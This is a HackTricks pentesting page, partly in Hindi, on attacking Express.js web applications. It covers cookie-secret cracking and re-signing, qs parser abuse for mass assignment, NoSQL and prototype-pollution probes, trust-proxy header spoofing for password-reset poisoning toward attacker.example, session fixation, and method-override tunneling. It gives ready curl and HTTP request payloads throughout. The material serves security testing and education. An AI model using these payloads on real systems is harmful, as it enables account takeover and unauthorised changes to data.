NodeJS Express

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Quick Fingerprinting

Useful Express indicators during recon:

  • X-Powered-By: Express or stack traces mentioning express, body-parser, qs, cookie-parser, express-session, or finalhandler
  • Cookies prefixed with s: (signed cookie) or j: (JSON cookie)
  • Session cookies such as connect.sid
  • Hidden form fields or query parameters such as _method=PUT / _method=DELETE
  • Error pages leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, or URIError during query parsing

When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.

The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.

Express commonly exposes two useful cookie formats:

  • s:<value>.<sig> signed cookies handled by cookie-parser or express-session
  • j:<json> JSON cookies that are automatically parsed by cookie-parser

If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

कस्टम wordlist

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

batch mode का उपयोग करके multiple cookies का परीक्षण करें

cookie-monster -b -f cookies.json

एक custom wordlist के साथ batch mode का उपयोग करके multiple cookies का परीक्षण करें

cookie-monster -b -f cookies.json -w custom.lst

यदि आप secret जानते हैं तो आप cookie को sign कर सकते हैं।

cookie-monster -e -f new_cookie.json -k secret

क्वेरी स्ट्रिंग और URL-एन्कोडेड पार्सर का दुरुपयोग

Express लक्ष्यों में तब अक्सर दिलचस्पी पैदा होती है जब वे हमलावर-नियंत्रित keys को नेस्टेड ऑब्जेक्ट्स में पार्स करते हैं।

  • req.query को अलग-अलग parsers के साथ कॉन्फ़िगर किया जा सकता है, जिनमें qs शामिल है
  • express.urlencoded({ extended: true }) application/x-www-form-urlencoded के लिए qs-style parsing का उपयोग करता है
  • नेस्टेड पार्सिंग object injection, mass assignment, NoSQL injection, और prototype pollution chains को सक्षम कर देती है यदि parsed object को application state में merge किया जाए

आजमाने के लिए व्यावहारिक payloads:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

यदि ऐप परिणामस्वरूप ऑब्जेक्ट को reflect या persist करता है, तो exploitation विवरण के लिए समर्पित पृष्ठों पर pivot करें:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Express के खिलाफ भेजने के लायक अतिरिक्त टेस्ट:

  • पार्सर सीमाएँ, timeouts, या 400/413 के अंतर देखने के लिए deep nesting
  • यह देखने के लिए duplicate keys कि ऐप पहले value को रखता है, आखिरी को रखता है, या एक array बनाता है
  • Bracket syntax जैसे a[b][c]=1, dotted syntax जैसे a.b=1, और __proto__ / constructor[prototype] payloads

trust proxy दुरुपयोग

यदि ऐप app.set("trust proxy", true) का उपयोग करता है या बहुत अधिक hops पर भरोसा करता है, तो Express forwarding headers से सुरक्षा-संबंधी मान निकालेगा। यदि reverse proxy उन्हें overwrite नहीं करता, तो क्लाइंट उन्हें सीधे spoof कर सकता है।

यह प्रभावित करता है:

  • req.hostname via X-Forwarded-Host
  • req.protocol via X-Forwarded-Proto
  • req.ip / req.ips via X-Forwarded-For

यह उपयोगी है:

  • Password reset poisoning and absolute URL poisoning
  • IP-आधारित allowlists, rate limits, या audit trails को बायपास करना
  • req.protocol पर आधारित apps में secure cookie handling और HTTPS-only लॉजिक को प्रभावित करना
  • जब ऐप forwarded host/proto headers के साथ absolute links टेम्पलेट करता है तो redirects या cacheable responses को poison करना
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

जाँच करें कि क्या जेनरेट किए गए लिंक, redirect स्थान, लॉग, या access-control निर्णय अब attacker-supplied मानों का उपयोग करते हैं।

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session परीक्षण नोट्स

सामान्य Express deployments express-session का उपयोग करते हैं, जो session identifier cookie पर सिग्नेचर करता है पर असली state सर्वर-साइड पर स्टोर करता है।

उपयोगी जाँच:

  • Session fixation: pre-login cookie के साथ authenticate करें और सत्यापित करें कि login के बाद SID वही रहता है या नहीं।
  • Weak secret rotation: कुछ deployments cookies को पुराने secrets की array के साथ verify करते हैं, इसलिए पहले से वैध signatures काम करते रह सकते हैं।
  • saveUninitialized: true: application anonymous users को pre-auth sessions जारी करता है, जिससे fixation आसान हो जाता है और brute-force या cache analysis के लिए session surface बढ़ जाता है।
  • MemoryStore production में आमतौर पर कमजोर operational maturity और restarts के दौरान अस्थिर session व्यवहार को दर्शाता है।

एक व्यावहारिक fixation workflow:

  1. लक्ष्य से एक anonymous session cookie प्राप्त करें।
  2. उस cookie को किसी victim को भेजें या खुद उससे authenticate करें।
  3. जाँचें कि क्या login authenticated state को मौजूदा SID से bind करता है।
  4. यदि ऐसा होता है, तो अलग browser session में वही cookie replay करें।

यदि ऐप authentication के बाद req.session.regenerate() को कॉल नहीं करता, तो fixation अक्सर फिर भी संभव होता है।

Method Override Tunneling

कुछ Express apps method-override का उपयोग उन verbs को tunnel करने के लिए करते हैं जिन्हें HTML forms मूल रूप से भेज नहीं सकते। जब यह सक्षम हो, तो हमेशा परीक्षण करें कि क्या आप ऐसे route के माध्यम से dangerous methods smuggle कर सकते हैं जिसे front-end, WAF, या CSRF logic ने केवल POST माना था।

Typical probes:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

दिलचस्प प्रभाव:

  • एक POST-only edge control के माध्यम से छुपी हुई PUT / PATCH / DELETE routes तक पहुँच
  • केवल req.method की जाँच करने वाले route-specific middleware को बायपास करना
  • जब application केवल outer request method को validate करती है तो CSRF के माध्यम से state-changing handlers को ट्रिगर करना

डिफ़ॉल्ट रूप से middleware आम तौर पर केवल POST को ओवरराइड करता है, इसलिए header, body, और query-string override values वाले POST requests को प्राथमिकता दें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें